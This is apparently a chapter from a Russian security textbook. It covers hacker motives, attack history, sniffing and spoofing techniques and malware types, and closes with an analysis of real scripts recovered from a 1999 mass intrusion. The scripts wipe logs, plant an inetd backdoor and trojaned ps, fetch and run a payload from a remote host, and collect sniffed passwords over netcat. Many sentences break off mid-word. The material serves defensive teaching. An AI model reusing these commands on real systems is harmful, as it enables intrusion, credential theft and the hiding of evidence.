Рассказ о безопасности будет неполным без лекции о хакерах и методах их работы. Термин хакер здесь используется в его современном значении - человек, взламывающий компьютеры. Надо заметить, что раньше быть хакером не считалось чем-то противозаконным, скорее, это была характеристика человека, умеющего профессионально обращаться с компьютерами. В наши дни хакерами мы называем тех, кто ищет пути вторжения в компьютерную систему или выводит ее из строя.
Исследования показали, что хакерами чаще всего становятся:
Хакеры имеют четкое представление о работе компьютеров и сетей, о том, как протоколы используются для выполнения системных операций.
В этой лекции вы познакомитесь с мотивацией и методами хакеров. Не нужно считать ее пособием для начинающих хакеров, в ней всего лишь рассказывается о том, как можно взломать и заставить работать на себя ваши системы.
Мотивация дает ключ к пониманию поступков хакеров, выявляя замысел неудавшегося вторжения. Мотивация объясняет, почему компьютеры так привлекают их. Какую ценность представляет ваша система? Чем она интересна? Для какого метода взлома подходит? Ответы на эти вопросы позволят профессионалам в области безопасности лучше оценить возможные угрозы для своих систем.
Привлечение внимания
Первоначальной мотивацией взломщиков компьютерных систем было желание "сделать это". И до сих пор оно остается наиболее общим побудительным мотивом.
Взломав систему, хакеры хвастаются своими победами на
Хакеров привлекает не просто взлом конкретной системы, а стремление сделать это первым либо взломать сразу много систем. В отдельных случаях взломщики специально удаляют уязвимое место, с помощью которого они вывели компьютер из строя, чтобы никто больше не смог повторить атаку.
Желание привлечь к себе внимание порождает ненаправленные атаки, т. е. взлом выполняется ради развлечения и не связан с
Примечание
Все чаще наблюдается еще одна форма мотивации - хактивизм (hactivism), или хакинг во имя общественного блага. Хактивизм связывает себя с политическими акциями и зачастую служит поводом для оправдания преступления. Он является более опасным, поскольку привлекает честных и наивных людей. Дополнительная информация находится на сайте http://hacktivismo.com/.
Алчность
Алчность - один из самых старых мотивов для преступной деятельности. Для хакера это связано с жаждой получения любой наживы - денег, товаров, услуг, информации. Допустима ли такая мотивация для взломщика? Для ответа на этот вопрос исследуем, насколько трудно установить личность взломщика, задержать его и вынести обвинение.
Если в системе обнаружится вторжение, большинство организаций исправит уязвимость, которая использовалась при атаке, восстановит систему и продолжит работу. Некоторые обратятся за поддержкой к правоохранительным органам, если не смогут выследить взломщика за недостатком доказательств, или если хакер находится в стране, где отсутствуют законы о компьютерной безопасности. Предположим, что хакер оставил улики и задержан. Далее дело будет вынесено на суд присяжных, и прокурор округа (или федеральный прокурор) должен будет доказать, что человек на скамье подсудимых действительно взломал систему жертвы и совершил кражу. Это сделать очень трудно!
Даже в случае вынесения обвинительного приговора наказание хакера может быть очень легким. Вспомним случай с хакером по имени Datastream Cowboy. Вместе с хакером Kuji он взломал систему Центра авиационных разработок базы ВВС Гриффиз (Griffis) в Риме и Нью-Йорке и украл программное обеспечение на сумму свыше двухсот тысяч долларов. Хакером Datastream Cowboy оказался 16-летний подросток из Великобритании - он был арестован и осужден в 1997 г. Его присудили к уплате штрафа размером в 1915 долларов.
На этом примере важно понять следующее: должен существовать способ борьбы с преступниками, движущей силой которых является жажда наживы. В случае взлома системы риск быть схваченным и осужденным очень низок, а прибыль от воровства номеров кредитных карт, товаров и информации очень высока. Хакер будет разыскивать ценную информацию, которую можно продать или использовать с выгодой для себя.
Хакер, основным мотивом которого является алчность, ставит перед собой особые задачи - его главной целью становятся сайты с ценным содержанием (программным обеспечением, деньгами, информацией).
Примечание
ФБР приступило к работе по программе Infragard. Цель программы - улучшение отчетности о преступной деятельности и дальнейшее развитие отношений между сферой бизнеса и правоохранительными органами (подробности см. на сайте http://www.infragard.net/). Программа предоставляет своим участникам информацию для совместного использования и анализа, а также средства для обучения взаимодействию с органами охраны правопорядка и работе с поступающими сведениями.
Злой умысел
И последней мотивацией хакера может быть злой умысел, вандализм. В этом случае хакер не заботится о захвате управления системой (только если это не помогает ему в его целях). Вместо этого он старается причинить вред легальным пользователям, препятствуя их работе в системе, или законным владельцам сайта, изменяя его веб-страницы. Злонамеренные атаки обычно направлены на конкретные цели. Хакер активно стремится нанести ущерб определенному сайту или организации. Основная причина таких атак - желание отомстить за несправедливое обращение или сделать политическое заявление, а конечный результат - причинение вреда системе без получения доступа к ней.
В этом разделе мы собираемся не просто поговорить об истории хакерства, а рассмотреть ее с различных точек зрения. Прошлые события и факты получили широкую огласку; существует множество ресурсов, в которых описаны эти события и их участники. Поэтому мы не будем повторяться, а познакомимся с эволюцией хакерских методов. Вы увидите, что многих случаев успешного взлома можно было избежать при правильной настройке системы и использовании программных методов.
Коллективный доступ
Первоначальной целью при создании интернета был общий доступ к данным и совместная работа исследовательских институтов. Таким образом, большинство систем было сконфигурировано для коллективного использования информации. При работе в операционной системе Unix использовалась
Этим механизмом воспользовались первые хакеры для получения доступа к информации - они подключали удаленный диск и считывали ее. NFS использовала номера идентификаторов пользователя (user ID,
Общий доступ к файлам нельзя считать уязвимым местом, это, скорее, серьезная ошибка конфигурации. Самое интересное, что многие операционные системы (включая ОС Sun) поставляются с
(рис 3.1) Использование сетевой файловой системы NFS для доступа к удаленным системным файламСовет
В большинстве случаев
Уязвимое место в виде совместного доступа к файлам имеется не только в операционной системе Unix, но и в Windows NT, 95, 98. Некоторые из этих систем можно настроить на разрешение удаленного подключения к их файловым системам. Если пользователь решит установить
Внимание!
Новые системы коллективного доступа к файлам, например Gnutella, позволяют компьютерам внутренней сети устанавливать общий доступ к файлам других систем в интернете. Эти системы имеют перенастраиваемую конфигурацию и могут открывать порты, обычно защищенные межсетевым экраном (например, порт 80). Такие системы представляют более серьезную опасность, чем NFS и общий доступ к файлам в ОС Windows.
В ту же самую категорию, что и совместное использование файлов и неправильная настройка, относится удаленный доступ с
Примечание
Межсетевые экраны могут контролировать не только коллективное использование файлов, но и удаленный доверительный доступ из внешней сети. Однако во внутренней сети внешний межсетевой экран такой контроль выполнить не сможет. И это является серьезной проблемой безопасности.
Слабые пароли
Наверное, самый общий способ, который используют хакеры для входа в систему, - это слабые пароли. Пароли по-прежнему применяются для аутентификации пользователей. Так как это стандартный метод идентификации для большинства систем, он не связан с
Легко угадываемый пароль также является слабым паролем. Например, пароль корневого каталога "toor" ("root", записанный в обратном порядке) позволит хакеру очень быстро получить доступ к системе. Некоторые проблемы, связанные с паролем, принадлежат к категории неправильной настройки системы. Например, в старейшей корпорации цифрового оборудования Digital Equipment Corporation систем
Наглядный пример того, как слабые пароли помогают взламывать системы, - червь Морриса. В 1988 г. студент Корнеллского университета Роберт Моррис разработал программу, которая распространялась через интернет. Эта программа использовала несколько уязвимых мест для получения доступа к компьютерным системам и воспроизведения самой себя. Одним из уязвимых мест были слабые пароли. Программа наряду со списком наиболее распространенных паролей использовала следующие пароли: пустой пароль,
Вопрос к эксперту
Вопрос. Существует ли надежная альтернатива паролям?
Ответ. Альтернативой паролям являются
Совет
Не существует универсальных решений проблемы паролей. В большинстве операционных систем системный администратор имеет возможность настраивать требования к паролям, и это очень важно. Однако лучшая защита от слабых паролей - обучение служащих должному пониманию проблем безопасности.
Дефекты программирования
Хакеры пользовались дефектами программирования много раз. К этим дефектам относится оставленный в программе "черный ход" (back
Не так давно бум в программировании веб-сайтов привел к созданию новой категории "неосторожного" программирования. Она имеет отношение к онлайновой торговле. На некоторых веб-сайтах информация о покупках: номер товара, количество и даже цена - сохраняется непосредственно в строке адреса URL. Эта информация используется веб-сайтом, когда вы подсчитываете стоимость покупок и определяете, сколько денег снято с вашей кредитной карты. Оказывается, что многие сайты не проверяют информацию при упорядочивании списка, а просто берут ее из строки URL. Если хакер модифицирует URL перед подтверждением, он сможет получить пустой номер в списке. Бывали случаи, когда хакер устанавливал цену с отрицательным значением и, вместо того чтобы потратить деньги на покупку, получал от веб-сайта кредит. Не совсем разумно оставлять подобную информацию в строке адреса, которая может быть изменена клиентом, и не проверять введенную информацию на сервере. Несмотря на то, что это уязвимое место не позволяет хакеру войти в систему, большому риску подвергается и веб-сайт, и организация.
Социальный инжиниринг
Социальный инжиниринг - это получение несанкционированного доступа к информации или к системе без применения технических средств. Вместо использования уязвимых мест или эксплойтов хакер играет на человеческих слабостях. Самое сильное оружие хакера в этом случае - приятный голос и актерские способности. Хакер может позвонить по телефону сотруднику компании под видом службы технической поддержки и узнать его пароль "для решения небольшой проблемы в компьютерной системе сотрудника". В большинстве случаев этот номер проходит.
Иногда хакер под видом служащего компании звонит в службу технической поддержки. Если ему известно имя служащего, то он говорит, что забыл свой пароль, и в результате либо узнает пароль, либо меняет его на нужный. Учитывая, что служба технической поддержки ориентирована на безотлагательное оказание помощи, вероятность получения хакером хотя бы одной учетной записи весьма велика.
Хакер не поленится сделать множество звонков, чтобы как следует изучить свою цель. Он начнет с того, что узнает имена руководителей на веб-сайте компании. С помощью этих данных он попытается раздобыть имена других служащих. Эти новые имена пригодятся ему в разговоре со службой технической поддержки для получения информации об учетных записях и о процедуре предоставления доступа. Еще один телефонный звонок поможет узнать, какая система используется и как осуществляется удаленный вход в систему. Используя имена реальных служащих и руководителей, хакер придумает целую историю о важном совещании на сайте клиента, на которое он якобы не может попасть со своей учетной записью удаленного доступа. Сотрудник службы технической поддержки сопоставит факты: человек знает, что происходит, знает имя руководителя и компании - и, недолго думая, предоставит ему доступ.
Другими формами социального инжиниринга являются исследование мусора организаций, виртуальных мусорных корзин, использование источников открытой информации (веб-сайтов, отчетов, предоставляемых в Комиссию по ценным бумагам США, рекламы), открытый грабеж и самозванство. Кража портативного компьютера или набора инструментов сослужит хорошую службу хакеру, который захочет побольше узнать о компании. Инструменты помогут ему сыграть роль обслуживающего персонала или сотрудника компании.
Социальный инжиниринг позволяет осуществить самые хитроумные проникновения, но требует времени и таланта. Он обычно используется хакерами, которые наметили своей жертвой конкретную организацию.
Совет
Самой лучшей обороной против атак социального инжиниринга является информирование служащих. Объясните им, каким образом служба технической поддержки может вступать с ними в контакт и какие вопросы задавать. Объясните персоналу этой службы, как идентифицировать сотрудника, прежде чем говорить ему пароль. Расскажите персоналу организации о выявлении людей, которые не должны находиться в офисе, и о том, как поступать в этой ситуации.
Переполнение буфера
Следует отметить, что
Что такое переполнение буфера
Стек управляет переключением между программами и сообщает операционной системе, какой код выполнять, когда одна часть программы (или функции) завершает свою задачу. В стеке хранятся локальные переменные функции. При атаке на
(рис 3.2) Так работает переполнение буфера Почему возникает переполнение буфера?
Примечание
Следует заметить, что многие общие функции копирования строк в языке программирования С не выполняют проверку размера строки или буфера перед копированием данных. К ним относятся функции
Совет
Существует несколько автоматизированных сценариев, используемых для поиска вероятного
Отказ в обслуживании
Атаки на отказ в обслуживании (
Атаки DoS нельзя полностью предотвратить, их нельзя и остановить, если не удастся выявить источник нападения. Атаки DoS происходят не только в киберпространстве. Пара кусачек является нехитрым инструментом для
Следует отметить еще один важный момент в подготовке большинства атак. Пока взломщику не удастся проникнуть в целевую систему,
Централизованные DoS-атаки
Первыми типами DoS-атак были централизованные атаки (single-source), т. е. для осуществления атаки использовалась одна-единственная система. Наиболее широкую известность получила так называемая синхронная атака (
Очевидно, что если источник синхронной атаки имеет легальный IP-адрес, то его можно относительно легко идентифицировать и остановить атаку. А если адрес отправителя является немаршрутизируемым, таким как 192.168.х.х? Тогда задача усложняется. В случае продуманного выполнения синхронной атаки и при отсутствии должной защиты IP-адрес атакующего практически невозможно определить.
Для защиты систем от синхронных атак было предложено несколько решений. Самый простой способ - размещение таймера во всех соединениях, ожидающих очереди. По истечении некоторого времени соединения должны закрываться. Однако для предотвращения грамотно подготовленной атаки таймер придется установить равным такому маленькому значению, что это сделает работу с системой практически невозможной. С помощью некоторых сетевых устройств можно выявлять и блокировать синхронные атаки, но эти системы склонны к ошибочным результатам, поскольку ищут определенное количество отложенных подключений в заданном промежутке времени. Если атака имеет несколько источников одновременно, то ее очень трудно идентифицировать.
(рис 3.3) Синхронная DoS-атакаПосле синхронной атаки были выявлены и другие атаки, более серьезные, но менее сложные в предотвращении. При выполнении атаки "пинг смерти" (Ping of Death) в целевую систему отправлялся пинг-пакет (ICMP эхо-запрос). В обычном варианте пинг-пакет не содержит данных. Пакет "пинг смерти" содержал большое количество данных. При чтении этих данных системой-получателем происходило
"Пинг смерти" - лишь одна разновидность
Примечание
К сожалению, выявление новых DoS-атак, направленных против приложений и операционных систем, носит регулярный характер. От новых нападений можно немного отдохнуть, лишь пока хакеры исправляют ошибки в сценариях прошлых атак.
Распределенные DoS-атаки
Распределенные
Современные
(рис 3.4) Осуществление smurf-атакиГлавным результатом
(рис 3.5) Структура инструментального средства для выполнения DDoS-атакиМногие современные атаки выполняются так называемыми "скрипт киддиз" (
Однако существуют и другие методы, основанные на более глубоком понимании работы компьютеров, сетей и атакуемых систем. В данном разделе мы познакомимся с такими методами - с прослушиванием (снифингом, от англ.
Прослушивание коммутируемых сетей
Прослушивание, или снифинг (
Поскольку сейчас больше используются сетевые коммутаторы, эффективность снифинга стала снижаться. В коммутируемой среде не применяется режим широковещательной передачи, вместо этого пакеты отправляются непосредственно к системе-получателю. Однако коммутаторы не являются защитными устройствами. Это обычные сетевые устройства, следовательно, обеспечиваемая ими безопасность скорее побочный продукт их сетевого назначения, чем элемент конструкции. Поэтому вполне возможно появление снифера, способного работать и в коммутируемой среде. И это уже произошло. Снифер, специально разработанный для коммутируемой среды, можно найти по адресу http://ettercap. sourceforge.net/.
Для прослушивания трафика в коммутируемой среде хакер должен выполнить одно из условий:
При выполнении одного из условий снифер сможет считывать интересующий трафик и, таким образом, обеспечивать хакера искомой информацией.
Перенаправление трафика
Коммутатор направляет трафик к портам на основании адреса доступа к среде передачи данных (
Ниже приведены методы, с помощью которых можно заставить коммутатор направлять сетевой трафик к сниферу:
ARP-спуфинг (ARP-
Если снифер захватит трафик, представляющий для него интерес, то он ответит на ARP-запрос вместо реальной системы-получателя и предоставит собственный MAC-адрес. В результате система-отправитель будет посылать трафик на снифер.
Для обеспечения эффективности данного процесса необходимо переадресовывать весь трафик на снифер вместо реального места назначения. Если этого не сделать, то появится вероятность возникновения отказа в доступе к сети.
Примечание
ARP-спуфинг работает только в локальных подсетях, поскольку ARP-сообщения передаются только внутри локальной подсети. Снифер должен размещаться в том же самом сегменте локальной сети, где находятся системы отправителя и получателя.
Дублирование MAC-адресов. Дублирование MAC-адреса системы-получателя является еще одним способом "убедить" коммутатор посылать трафик на снифер. Для этого хакеру нужно изменить MAC-адрес на снифере и разместиться в системе, которая находится в том же сегменте локальной сети.
Примечание
Считается, что изменить MAC-адреса невозможно. Однако дело обстоит совсем не так. Это можно сделать в системе Unix с помощью команды ifconfig. Аналогичные утилиты имеются и в системе Windows - ipconfig.
Для выполнения ARP-спуфинга снифер должен располагаться в той же самой локальной подсети, что и обе системы (отправитель и получатель), чтобы иметь возможность дублирования MAC-адресов.
Имитация доменного имени. Существует третий способ заставить коммутатор отправлять весь трафик на снифер: нужно "обмануть" систему-отправителя, чтобы она использовала для передачи данных реальный MAC-адрес снифера. Это осуществляется с помощью имитации доменного имени.
При выполнении этой атаки снифер перехватывает DNS-запросы от системы-отправителя и отвечает на них. Вместо IP-адреса систем, к которым был послан запрос, система-отправитель получает IP-адрес снифера и отправляет весь трафик к нему. Далее снифер должен перенаправить этот трафик реальному получателю. Мы видим, что в этом случае атака имитации доменного имени превращается в атаку перехвата.
Для обеспечения успеха данной атаки сниферу необходимо просматривать все DNS-запросы и отвечать на них до того, как это сделает реальный получатель. Поэтому снифер должен располагаться на маршруте следования трафика от системы-отправителя к DNS-серверу, а еще лучше - в той же локальной подсети, что и отправитель.
Примечание
Снифер мог бы просматривать запросы, отправляемые через интернет, но чем дальше он от системы-отправителя, тем сложнее гарантировать, что он первым ответит на них.
Отправка всего трафика ко всем портам
Вместо выполнения одного из вышеперечисленных методов хакер может заставить коммутатор работать в качестве
Выполнение атак
Давайте подумаем о том, что требуется для выполнения вышеперечисленных атак. В случае ARP-спуфинга, дублирования MAC-адресов или MAC-флудинга злоумышленник должен напрямую подключиться к атакуемому коммутатору. Такое подключение требуется и для имитации доменного имени.
Вывод такой - хакер должен установить систему на локальном коммутаторе. Он может вначале войти в систему через известную уязвимость, а затем инсталлировать необходимое для снифинга программное обеспечение. В другом варианте хакер уже находится внутри организации (он ее служащий или подрядчик). В этом случае он использует свой законный доступ в локальную сеть, что позволяет ему связаться с коммутатором.
Имитация IP-адреса
Как уже говорилось выше, правильность IP-адресов в пакетах, передаваемых по сети, не проверяется. Следовательно, хакер может изменить адрес отправителя так, чтобы казалось, будто пакет прибывает с любого адреса. Сложность заключается в том, что возвращаемые пакеты (
В 1989 г. Стив Беловин (Steve Bellovin) из лаборатории ATT
Подробные сведения об атаке имитации IP-адреса
На рис. 3.6 показано выполнение атаки имитации IP-адреса. Вначале хакер идентифицирует свою цель. Он должен определить величину приращения исходного порядкового номера (ISN). Это можно сделать, выполняя серию легальных подключений к целевой системе и отмечая возвращаемые ISN (при этом хакер рискует "засветить" свой реальный IP-адрес).
(рис 3.6) Выполнение имитации IP-адресаПосле определения величины приращения ISN хакер посылает к целевой системе TCP
Если все это будет правильно выполнено, хакер закроет легальное подключение к целевой системе. Он сможет посылать команды и информацию к системе, но не будет получать ответы.
Имитация IP-адреса - пример из практики
При атаке имитации IP-адреса компьютерная система считает, что она взаимодействует с другой системой. Как это реализуется на практике? Ясно, что подобная атака, нацеленная на службу электронной почты или
При настройке служб
При обнаружении системы, имеющей
При подключении к службе
Вопрос к эксперту
Вопрос. Имеются ли случаи успешного проникновения в систему посредством имитации IP-адреса?
Ответ. Конечно. Кевин Митник (Kevin Mitnick) использовал именно этот тип атаки для проникновения в Центр суперкомпьютеров в Сан-Диего. Он реализовал атаку во время рождественских праздников, когда в системах почти не было пользователей. Это способствовало его планам, так как никто не обращал внимание на его действия
(рис 3.7) Практическая реализация атаки имитации IP-адресаВ следующих разделах мы подробно рассмотрим каждый тип.
Вирусы
Компьютерные вирусы являются паразитами по отношению к другим компьютерным программам. Они сделаны так, что не могут жить самостоятельно. При выполнении программы, в которую внедрен вирус, исполняется код вируса, реализующий собственные функции. Эти функции обычно включают заражение других программ и распространение на другие диски. Некоторые вирусы являются вредоносными - они удаляют файлы или выводят из строя систему. Другие вирусы не наносят никакого вреда, кроме распространения самих себя по компьютерным системам.
Вирусы начали появляться в то время, когда компьютеры использовали дисковую операционную систему - DOS. (Не путайте с атакой DoS!) Эти вирусы распространялись через файлы, доступные на электронных досках объявлений, или через дискеты. Позднее были созданы вирусы, которые прикреплялись к файлам текстовых редакторов и исполнялись как часть языка макросов в программах обработки текста.
Примерами
Примечание
Все типы вредоносного кода относят к категории
"Троянские кони"
Древние греки спрятали в подношении воинов, готовящих нападение. Так и "
Большинство программ типа "
Ущерб от "троянских коней" подобен ущербу от
Черви
Судя по названию, червь - это программа, которая "переползает" от системы к системе без всякой помощи со стороны жертвы. Червь сам себя распространяет и воспроизводит. Все, что требуется от его создателя, - запустить червя.
Первым известным примером является знаменитый интернет-червь, созданный Робертом Моррисом в 1989 г. Червь Морриса был запрограммирован на использование множества уязвимых мест, в том числе слабых паролей. С их помощью он отыскивал в интернете системы, в которые проникал и выполнялся. Попав в систему, червь начинал разыскивать другие жертвы. По прошествии некоторого времени он вывел из строя весь интернет (правда, интернет тогда был значительно меньше, и многие сайты отключились от сети сами, чтобы защититься от червя).
В последнее время широкую известность приобрел червь
Примечание
В первоначальной версии червя
Пример червя Slapper
В сентябре 2002 г. в интернете появился червь Slapper, который продемонстрировал потенциальную опасность червей. Этот червь действовал не сразу, подготавливая "плацдарм" для будущей атаки. Следует отметить, однако, что даже в момент своего наивысшего подъема червь Slapper не затронул такого количества систем, как червь
Червь Slapper использовал уязвимое место в модуле OpenSSL веб-сервера Apache (OpenSSL позволяет работать с протоколом защищенной передачи гипертекстов HTTPS). Попав в систему, червь выбирал IP-адрес для атаки из списка сетей класса А, запрограммированных в коде червя. Затем Slapper исследовал IP-адрес целевой системы и проверял, выполняется ли на ней веб-сервер. В случае положительного ответа он выяснял, не является ли этот веб-сервер сервером Apache, работающим на платформе Intel (поскольку он имеет свои специфические "бреши"). В конце концов червь определял наличие в целевой системе уязвимого места для атаки.
Сама атака выполнялась посредством использования HTTPS и порта 443. Это затрудняло обнаружение нападения, так как трафик шифровался. Единственное, что выдавало деятельность червя: при поиске уязвимого места он использовал
Эксплойт, выполнявшийся на целевой системе, позволял червю получить доступ к командам оболочки shell, с помощью которых он копировал и компилировал самого себя, а затем выполнял получившуюся программу. Далее он отыскивал новые жертвы и запускал процесс снова и снова. После инфицирования одной системы червь продолжал с нее поиск других уязвимых систем.
Самой опасной функцией червя Slapper (и ключевым компонентом будущих червей) была его способность к распространению по сети. Вместо
Гибриды
В последнее время появилась еще одна разновидность вредоносных программ - объединение двух типов программ в одну. Можно встретить программы, действующие одновременно и как черви, и как "
Прекрасным примером является червь Nimda, который использовал уязвимые места веб-сервера для перемещения с одной системы на другую, подобно червю. Однако Nimda распространялся и через вложения электронной почты, сделанные весьма привлекательными для пользователя, чтобы соблазнить его открыть файл. После открытия вложения червь распространялся далее через электронную почту. Он использовал системы жертв для атаки веб-серверов.
Вопросы для самопроверки
Хакеры, использующие методы ненаправленных атак, не ищут определенную информацию или организацию: им для взлома подходит любая система. Их уровень квалификации колеблется от очень низкого до самого высокого, а в качестве мотива выступает, прежде всего, желание привлечь к себе внимание взломом какой-нибудь системы. Вероятно, присутствует и жажда наживы, но что они пытаются приобрести таким образом - остается загадкой.
Объекты атак
Хакеры, использующие методы ненаправленных атак, отыскивают любую систему, какую получится найти. Обычно у них нет определенной цели. Иногда для поиска выбирается сеть или доменное имя, но этот выбор, как правило, случаен. Объектом атаки может стать любая организация, к беспроводной сети которой смог подключиться хакер.
Предварительное исследование
Хакер по-разному проводит предварительное исследование. Некоторые начинают атаку сразу же, без всякой "разведки" и точного определения цели, если находят систему, подключенную к сети. После проведения предварительного зондирования атака обычно выполняется со взломанных систем, чтобы хакер мог "замести следы".
Предварительное исследование через интернет
Чаще всего хакеры выполняют скрытое сканирование диапазона адресов, называемое половинным IP-сканированием. С его помощью выявляются системы, находящиеся в данном диапазоне, и службы, доступные в этих системах. При скрытом сканировании выполняется также развернутая отправка пинг-запросов в этом диапазоне адресов, т. е. отправка пинг-запроса по каждому адресу и просмотр полученных ответов.
При выполнении скрытого сканирования хакер обычно отправляет TCP
(рис 3.8) Скрытое сканированиеРазновидностью скрытого сканирования является сканирование со сбросом соединения (reset
(рис 3.9) Сканирование со сбросом соединенияПримечание
Существуют способы скрытого сканирования, позволяющие определить открытые порты. Обычно они выполняются посредством передачи трафика к определенным портам. Если порт закрыт, он ответит
Иногда хакер выполняет предварительное исследование в несколько этапов. Сначала он выбирает имя домена (обычно произвольно) и начинает зонную передачу DNS, направленную к этому
Предварительное исследование по телефону
Предварительное исследование не ограничивается сбором интернет-адресов. Wardialing ("разведка по телефону") - еще один метод, используемый хакерами для выявления потенциальных жертв и определения систем, имеющих модем и отвечающих на входящие звонки. С помощью компьютера хакер в течение одной ночи производит дозвон по тысячам телефонных номеров, найденных в модемной линии. Современные программные средства способны различить модем и факс. После выявления ответивших модемов хакер обращается к каждому из них, определяя работающие программы. С помощью программы PC Anywhere (весьма привлекательной для злоумышленников) хакер захватывает управление ответившим компьютером.
Предварительное исследование через беспроводные сети
Быстрое распространение беспроводных сетей в организациях и у домашних пользователей также позволяет произвести хакерскую "разведку". Новый термин "wardriving" ("разведка на автомобиле") означает, что хакер разъезжает по городу с компьютером и адаптером беспроводной сети, выявляя точки входа беспроводных сетей. При этом используется устройство типа
После выявления беспроводной сети хакер воспользуется выходом в интернет для атаки других сайтов. Такой способ атаки отлично маскирует хакера, ведь ложный след ведет к беспроводной сети организации. Даже в случае обнаружения присутствия хакера выяснить его реальное место расположения очень трудно.
Методы атак
В общем случае хакер, использующий методы ненаправленных атак, имеет в своем распоряжении один или несколько (не очень много) эксплойтов. С помощью предварительной разведки он постарается найти системы, уязвимые к этим эксплойтам. Большинство хакеров, отыскав систему, попробуют взломать ее "в один прием". Более продвинутые взломщики с помощью специальных средств сканирования находят несколько уязвимых систем, а затем создают сценарии атаки, направленной против всех систем одновременно.
Использование взломанных систем
После взлома системы хакер обычно помещает в нее "черный ход", через который он будет входить в систему в дальнейшем. Часто "черные ходы" используются вместе с инструментом
В качестве примера рассмотрим реальную ситуацию. В конце июня 1999 г. многие системы подверглись атаке через интернет и были успешно взломаны. Нападение выглядело автоматизированным, поскольку взлом систем произошел в течение короткого промежутка времени. Исследование и анализ систем показали, что хакер применил для проникновения средство RPC Tooltalk, вызывающее
В процессе работы группа исследователей получила сценарии, которые выглядели так, будто отправлены от системы хакера. Но на самом деле они работали на взломанной системе, давая хакеру возможность автоматизированного возврата в каждую вскрытую систему и извлечения файлов журнала снифера. Эти файлы включали идентификаторы пользователей и их пароли для каждой системы в локальной сети. В следующем разделе приведено содержание этих сценариев, чтобы вы могли понять, как хакер построил свою "империю".
Примечание
Такой тип сценариев встречается все чаще и чаще. Кроме того, появление червей, действующих аналогичным образом и возвращающих отчет своему разработчику, показывает, что эта атака не была уникальной.
Реальные сценарии атак
Сценарии, о которых рассказывалось выше, мы обнаружили во взломанных системах. Они показывают механизмы использования хакерами большого количества взломанных систем для сбора паролей.
Начнем исследование методов вторжения с системы-жертвы. Рассматриваемая система была взломана посредством
unset HISTFILE; unset SAVEHIST
Хакер отключает файл журнала, чтобы его действия не фиксировались.
cp doc /usr/sbin/inetd; chown root /usr/sbin/inetd; chgrp root /usr/sbin/inetd; touch 0716000097 /usr/sbin/inetd;
Хакер копирует файл doc поверх существующего inetd, изменяет владельца, группу и метку времени файла в соответствии с оригиналом.
rm -rf doc /tmp/bob /var/adm/messages /usr/lib/nfs/statd /usr/openwin/bin/rpc.ttdb* /usr/dt/bin/rpc.ttdb*
Хакер удаляет файл doc, извлеченный из neet.tar, /tmp/bob (см. далее в разделе), сообщения (для удаления информации об атаке), файлы statd и rpc.ttdb (программу Tooltalk). Интересно, что хакер удалил также и метод, использовавшийся для получения доступа к системе.
rm -rf /var/log/messages /var/adm/sec* /var/adm/mail* /var/log/mail* /var/adm/sec*
Хакер удаляет дополнительные файлы журналов для скрытия своих действий.
/usr/sbin/inetd -s; /usr/sbin/inetd -s; telnet localhost; /usr/sbin/inetd -s;
Хакер запускает две копии inetd. Затем с помощью telnet он подключается к
ps -ef | grep inetd | grep bob | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
Хакер определяет место расположения первоначальной версии inetd, отыскивая inetd и bob в
ps -ef | grep nfs | grep statd | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
ps -ef | grep ttdb | grep -v grep | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
rm -rf boo
Затем он определяет место расположения процессов statd и ttdb и удаляет их таким же образом.
mkdir /usr/man/tmp mv update ps /usr/man/tmp cd /usr/man/tmp echo 1 \"./update -s -o output\" > /kernel/pssys chmod 755 ps update ./update -s -o output
Хакер создает директорию в /usr/man и помещает туда снифер и файл ps. Он создает сценарий, активизирующий снифер при
cp ps /usr/ucb/ps mv ps /usr/bin/ps touch 0716000097 /usr/bin/ps /usr/ucb/ps
Хакер заменяет исходный файл ps новым и изменяет его метку времени в соответствии с оригиналом.
cd / ps -ef | grep bob | grep -v grep ps -ef | grep stat | grep -v grep ps -ef | grep update
Далее хакер проверяет, что все работает как надо. Огромный интерес для нас представляет сценарий bd. Он показывает изменения в системе и дает подсказку о том, как хакер вошел в систему. Ключевой момент здесь - ссылка на /tmp/bob. При анализе причин удаления хакером исходного процесса inetd мы предположили, что этот процесс выполнялся вместе с файлом конфигурации /tmp/bob (inetd можно вызвать для работы с файлом конфигурации, введенным в командной строке). Неизвестно, что было в этом файле, но, вероятно, исходный эксплойт Tooltalk позволял перезагружать inetd с новым файлом конфигурации.
Другим интересным моментом сценария является уничтожение хакером процессов, с помощью которых он проник в систему. Наверное, он не хотел, чтобы другие атаковали его "владение".
Главной ошибкой сценария был запуск трех процессов inetd. Произошло следующее: множественные процессы inetd стали видны, и в папке /var/log/messages появились сообщения о том, что второй и третий процессы inetd не могут связаться с telnet и FTP-портами.
Взломав системы изначально с помощью эксплойта, хакер затем использовал сценарии для загрузки каждой системы со снифером и "черным ходом". Он создал три сценария. Первый сценарий назывался massbd.sh.
#!/bin/sh for i in 'cat $1'; do (./bd.sh $i );done
Этот сценарий использовал файл ввода (вероятно, список IP-адресов) и исполнял сценарий bd.sh (отличающийся от сценария bd, рассмотренного выше), направленный к каждому адресу.
В сценарии bd.sh содержатся всего две строки:
#!/bin/sh ./bdpipe.sh | telnet $1 1524
Данный сценарий дает хакеру ценную информацию о том, что делает в системе первоначально запущенный эксплойт bdpipe.sh через telnet. Обратите внимание на порт назначения - 1524.
Третий сценарий называется bdpipe.sh. Он содержит набор команд, передаваемых через telnet и исполняющихся на целевой системе.
#!/bin/sh echo "cd /tmp;" echo "rcp demos@xxx.yyy.zzz.aaa:neet.tar ./;" sleep 2 echo "tar -xvf neet.tar;" sleep 1 echo "./bd;" sleep 10 echo "rm -rf neet.tar bd update*;" sleep 10 echo "exit;"
Скрипт bdpipe.sh производит удаленное копирование файла neet.tar от другой системы, открывает файл и исполняет сценарий bd, найденный нами на компьютере-жертве. Этот сценарий удаляет neet.tar, bd и обновляет /tmp. Такой подход сработал не на всех системах, что позволило найти файл neet.tar и просмотреть его содержимое.
Можно предположить, что хакер планировал быстро взломать большое количество систем. Хотя сценарии несложные, много работы ушло на построение всех элементов атаки, чтобы добиться ширины ее размаха.
Из собранной информации видно, что хакер не стал загружать снифер на все системы-жертвы. Были найдены сценарии, предназначенные для извлечения собранных паролей. Первый сценарий назывался mget.sh.
for i in 'cat $1' ; do (./sniff.sh $i ) ; done
Этот сценарий использовал список IP-адресов для вызова sniff.sh. Сценарий sniff.sh содержит всего две строки:
#!/bin/sh ./getsniff.sh | ./nc -p 53982 $1 23 >> $1.log
